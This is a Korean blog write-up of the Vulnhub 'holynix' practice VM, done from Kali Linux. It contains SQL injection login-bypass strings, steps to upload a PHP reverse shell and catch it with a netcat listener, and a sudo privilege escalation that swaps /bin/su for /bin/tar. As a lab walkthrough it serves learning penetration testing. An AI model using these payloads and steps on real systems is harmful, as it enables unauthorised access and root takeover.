vulnhub

Vulnhub[holynix]

sheow13 2023. 8. 16. 13:43
728x90

holynix 환경 실습

 실습 환경

- VMware로 구성

- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]

- holynix[설치 경로 : https://www.vulnhub.com/entry/holynix-v1,20/]

 

 진행 절차

Reconnaissance(정찰)

Step 1. holynix 환경 VMware에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음

해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취가 목표

[계정 정보를 몰라도 루트 계정 탈취하는 것이 목표]

 

Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득

Kali Linux와 holynix를 VMware에서 NAT로 같은 네트워크로 설정 필요
VMware에서는 x.x.x.[1,2,254]는 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요

 

명령어
root@kali#arp-scan –I eth0 -l

 

Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집

Open된 포트 : HTTP(80/TCP)
NMAP을 통해 발견한 사실 : Open된 포트가 HTTP 밖에 없어 HTTP에 취약한 설정이 있는지 확인 필요
명령어
root@kali#nmap sV —script=vuln [점검할 IP]

 

Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 디렉토리 리스팅 이외에 취약점이 발견된 것이 없어 HTTP로 접근 시 로그인 페이지 확인. 로그인 페이지에 SQL Injection을 통해 관리자 계정 탈취 시도를 할 수 있을 것으로 추측

명령어
root@kali#nikto –h http://[점검할 IP]

[취약점 점검 도구인 nikto 스캔 결과]
[ID/PW 입력란이 있는 것으로 확인]

 

Execution(실행)

Step 5. ID/PW에 싱글쿼터(‘) 입력 시 오류 페이지 뜨는 것으로 확인하여, SQL 조건문을 항상 참으로 하는 form based SQL Injection 시도 시 정상적으로 로그인 확인

입력 값
ID/PW : ‘ / ’
ID/PW : ‘ or ’1’=’1 # / ‘ or ’1’=’1 #

[싱글쿼터(') 입력 시 SQL Error 구문이 뜨는 것으로 확인. 에러페이지에서 제공해주는 정보를 토대로 추가 공격 진행]
[항상 참이 되는 from based SQL Injection 시도]
[SQL Injection이 성공하여 정상 접근 확인]

 

Step 6. 시스템 루트 권한을 얻기 위한 수단인 웹쉘 업로드가 가능한지 여부를 체크하기 위해 테스트 파일 업로드 시도 시, 업로드 권한이 없어 파일 업로드가 불가능한 것을 확인

[파일 업로드 권한이 존재하지 않는 계정임을 확인]

 

 

Step 7. 다른 계정으로 접근을 하기 위하여 alamo가 아닌 다른 계정으로 접근하는 쿼리 입력 시 정상적으로 로그인 확인

입력 값
ID/PW : 1 / ‘ or 1 = 1 and username != ‘alamo’#

[PW값에 상기에 기재된 쿼리문 입력]
[alamo 계정이 아닌 다른 사용자 계정으로 접근됨을 확인]

 

Step 8. 해당 계정으로 파일 업로드 시 정상적으로 업로드 되는 것을 확인하여, 칼리 리눅스에서 보유하고 있는 리버스 쉘 스크립트에서 IP/Port를 수정 후 업로드 시 정상적으로 업로드 확인

명령어
root@kali#cp /usr/share/webshells/php/php-reverse-shell.php ./
root@kali#mousepad php-reverse-shell.php
root@kali#tar czf shell.tar.gz php-reverse-shell.php
root@kali#nc –lvnp 1234

 

[Kali Linux에서 제공하는 리버스 쉘 스크립트 복사 후 리버스 쉘 연결을 위하여 Netcat 명령어를 통해 연결 대기]
[파일 업로드가 .gz로 확인되어 생성한 웹쉘을 gzip 파일로 압축 후 업로드 시도]
[업로드한 웹쉘이 정상적으로 업로드 된 것을 확인]

 

Step 9. dirb를 통해 디렉토리 인덱싱 취약점이 있는 것으로 확인되어, URL‘~[ID]’를 입력하면 리버스 쉘을 설치한 경로가 나오며, 클릭 시 리버스 커넥션이 맺어짐을 확인

명령어
root@kali#dirb http://[점검할 IP]

[dirb를 통해 확인된 경로로 이동 시, 디렉토리 인덱싱 취약점 확인]
[업로드한 웹쉘이 정상적으로 등록됨을 확인]
[업로드한 웹쉘 클릭 시 리버스 쉘 획득 확인]

 

Privilege Escalation(권한 상승)

Step 10. 권한 상승을 위하여 ‘sudo l’ 명령어를 통해 사용자(www-data)가 몇 개의 sudo 명령어를 수행하는지 확인 후 리눅스가 sudo 명령어를 검증하지 않고 경로로 인식하는 취약점을 이용하여 권한 탈취 성공

sudo를 이용한 권한 상승 :  'sudo'는 루트 계정 권한으로 입력한 명령어를 실행하는 리눅스 명령어로, 일반적으로 root 계정의 패스워드 입력해야 사용이 가능하지만, 관리자 또는 사용자의 편의를 위하여 'sudo' 명령어를 패스워드 없이 사용할 수 있도록 설정할 경우, 명령어를 검증하는 것이 아닌 경로로 인식하는 취약점이 존재하여 계정 접근 명령어 'su'를 옮기면 루트 패스워드 입력 없이 root 계정 탈취가 가능
명령어
$ sudo mv /bin/tar /bin.tar.org
$ sudo mv /bin/su /bin/tar
$ sudo tar
python –c ‘import pty;pty.spawn(“/bin/bash”)’

[sudo를 이용하여 root 권한 상승 확인]

 

'vulnhub' 카테고리의 다른 글

Vulnhub [Moriarty Corp]  (1) 2023.10.17
vulnhub[hackable3 환경 실습]  (0) 2023.08.16
Vulnhub[Kioptix Level1]  (0) 2023.08.16
Vulnhub[Win7 환경 실습]  (0) 2023.08.16
Vulnhub[BTRsys 환경 실습]  (0) 2023.08.14